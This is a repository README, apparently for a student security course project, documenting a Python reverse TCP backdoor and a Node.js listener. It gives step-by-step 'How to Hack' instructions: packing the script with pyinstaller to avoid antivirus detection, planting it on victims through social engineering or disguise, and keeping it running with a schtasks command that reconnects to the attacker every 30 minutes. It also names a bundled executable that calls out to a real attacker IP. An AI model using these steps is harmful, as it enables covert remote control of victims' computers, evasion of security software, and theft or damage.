Python_Reverse_TCP

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Python_Reverse_TCP

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simple reverse tcp backdoor hack

Python_Reverse_TCP 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

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## CS 460 Final Project
### Reverse TCP Shell ~~a very stupid trojan~~
- ywang189 - Yiyi Wang
- cjsmith7 - Christian Smith

### Multiple files are provided
- reverse_tcp.py
 - malicious python code, run it on victim side.
 - can be packed into "exe" file using pyinstaller and run on Windows with no antivirus software detected (tested on Windows8.1, not detected)
 - On windows, run ``` pyinstaller --noconsole --onefile reverse_tcp.py``` to pack the malicious ```reverse_tcp.py``` to Windows executable file.
- listener.js
 - simple listener written in javascript(node.js)
 - Commands 
```
 help
 exit --- quit listener
 list --- list victims
 connect num --- connect to one victim
 eg 'connect 0' will connect to the first victim in victim list
 schedule n_minutes --- schedule attack(for Windows only), force victim to try to connect to attacker every n_minutes
```
- schtasks_template.xml(for Windows hack only)
 - sample template for schtasks program on Windows
 - eg: when schedule a malicious task from the schtasks_template.xml on Windows, run the following command
```
schtasks /CREATE /XML path_to_schtasks_template.xml /TN malicious_task_name
``` 
- dist/reverse_tcp.exe 
 - packed exe file using pyinstaller mentioned above.
 - <storng>don't run this file on your machine, it is dangerous(as it will connect to my attack machine at ip 45.55.139.173).
- cleanup.bat (for Windows)
 - remove our simple stupid trojan from victim's system
 - double click it to cleanup.

### How to Hack (For Windows)
1. Edit the variable attacker_ip in reverse_tcp.py to attacker's ip address
2. Run ```pyinstaller --noconsole --onefile reverse_tcp.py``` to create reverse_tcp.exe
3. Copy reverse_tcp.exe to victim's machine and execute it. (No console will pop up so don't worry)
4. Run ```node listener.js``` on attacker's machine to start listening to responses from victims.

### How to Hack (For .nix)
1. Edit the variable attacker_ip in reverse_tcp.py to attacker's ip address
3. Copy reverse_tcp.py to victim's machine and run ```python reverse_tcp.py```.
4. Run ```node listener.js``` to start listening to responses from victims.

### General decriptions
* On attacker side, execute ```node listener.js``` to run the listener file on attacker's machine.
* Plant and execute ```reverse_tcp.py``` on victim machine. (SE, camouflage py file as part of package, etc)

### How it works(For Windows)
* The reverse_tcp.py(reverse_tcp.exe) file will first copy itself to %Appdata% folder, then create schtasks_template.xml file for scheduling tasks
* It then runs schtasks program and setup the running task so that the victim will try connecting to attacker every 30 minutes by default.
* After that, victim will try to connect to attacker's ip and port.
* Attacker will send commands to victim, and victim will execute those commands on their machine.

### Why implementing Reverse TCP attack in Python
We first tried metasploit and used the windows/shell_reverse_tcp payload to generate the malicious exe file and we also tried msfencode to encode the exe file. However, no matter how we encoded the malicious exe file, Windows Defender could always detect it(It is interesting to find out that some 3rd party av couldn't detect our trojan). After doing some researches, we found out that Windows Defender will always load the program to memory first then scan it, so encoding will never work.

### Screenshot
1.
<img src="screenshot/1.png"> 
2.
<img src="screenshot/2.png"> 
3.
<img src="screenshot/3.png">

### What we learnt
- Windows Defender is powerful.
- Not all metasploit payloads work on Windows/
- Security awareness is important 
- Security is fun. CS460 is an awesome class.

# Thanks ;)

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